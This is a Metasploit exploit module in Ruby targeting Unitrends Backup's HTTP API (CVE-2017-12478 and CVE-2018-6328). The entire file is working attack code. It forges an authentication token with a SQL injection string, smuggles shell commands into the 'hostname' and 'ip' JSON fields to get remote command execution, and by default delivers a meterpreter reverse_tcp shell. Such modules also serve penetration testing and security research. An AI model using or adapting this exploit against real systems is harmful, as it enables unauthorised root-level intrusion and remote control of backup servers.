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126 | ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => 'Unitrends UEB http api remote code execution',
'Description' => %q{
It was discovered that the api/storage web interface in Unitrends Backup (UB)
before 10.0.0 has an issue in which one of its input parameters was not validated.
A remote attacker could use this flaw to bypass authentication and execute arbitrary
commands with root privilege on the target system.
UEB v9 runs the api under root privileges and api/storage is vulnerable.
UEB v10 runs the api under limited privileges and api/hosts is vulnerable.
},
'Author' =>
[
'Cale Smith', # @0xC413
'Benny Husted', # @BennyHusted
'Jared Arave', # @iotennui
'h00die'
],
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => [ARCH_X86],
'CmdStagerFlavor' => [ 'printf' ],
'References' =>
[
['URL', 'https://support.unitrends.com/UnitrendsBackup/s/article/ka640000000TO5PAAW/000005756'],
['URL', 'https://support.unitrends.com/UnitrendsBackup/s/article/000006002'],
['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2017-12478'],
['URL', 'http://blog.redactedsec.net/exploits/2018/01/29/UEB9.html'],
['EDB', '44297'],
['CVE', '2017-12478'],
['CVE', '2018-6328']
],
'Targets' =>
[
[ 'UEB 9.*', { 'Privileged' => true} ],
[ 'UEB < 10.1.0', { 'Privileged' => false} ]
],
'DefaultOptions' => {
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp',
'SSL' => true
},
'DisclosureDate' => 'Aug 8 2017',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(443),
OptBool.new('SSL', [true, 'Use SSL', true])
])
deregister_options('SRVHOST', 'SRVPORT')
end
def auth_token
session = "v0:b' UNION SELECT -1 -- :1:/usr/bp/logs.dir/gui_root.log:0" #SQLi auth bypass
Base64.strict_encode64(session) #b64 encode session token
end
def check
res = send_request_cgi!({
'method' => 'GET',
'uri' => '/api/systems/details',
'ctype' => 'application/json',
'headers' =>
{'AuthToken' => auth_token}
})
if res && res.code == 200
print_good("Good news, looks like a vulnerable version of UEB.")
return CheckCode::Appears
else
print_bad('Host does not appear to be vulnerable.')
end
return CheckCode::Safe
end
#substitue some charactes
def filter_bad_chars(cmd)
cmd.gsub!("\\", "\\\\\\")
cmd.gsub!("'", '\\"')
end
def execute_command(cmd, opts = {})
if target.name == 'UEB 9.*'
#substitue the cmd into the hostname parameter
parms = %Q|{"type":4,"name":"_Stateless","usage":"stateless","build_filesystem":1,"properties":{"username":"aaaa","password":"aaaa","hostname":"`|
parms << filter_bad_chars(cmd)
parms << %Q|` &","port":"2049","protocol":"nfs","share_name":"aaa"}}|
uri = '/api/storage'
elsif target.name == 'UEB < 10.1.0'
parms = %Q|{"name":"ffff","ip":"10.0.0.200'\\"`0&|
parms << filter_bad_chars(cmd)
parms << %Q|`'"}|
uri = '/api/hosts'
end
res = send_request_cgi({
'uri' => uri,
'method' => 'POST',
'ctype' => 'application/json',
'encode_params' => false,
'data' => parms,
'headers' =>
{'AuthToken' => auth_token}
})
if res && res.code != 500
fail_with(Failure::UnexpectedReply,'Unexpected response')
end
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
end
def exploit
print_status("#{peer} - Sending requests to UEB...")
execute_cmdstager(:linemax => 120)
end
end
|
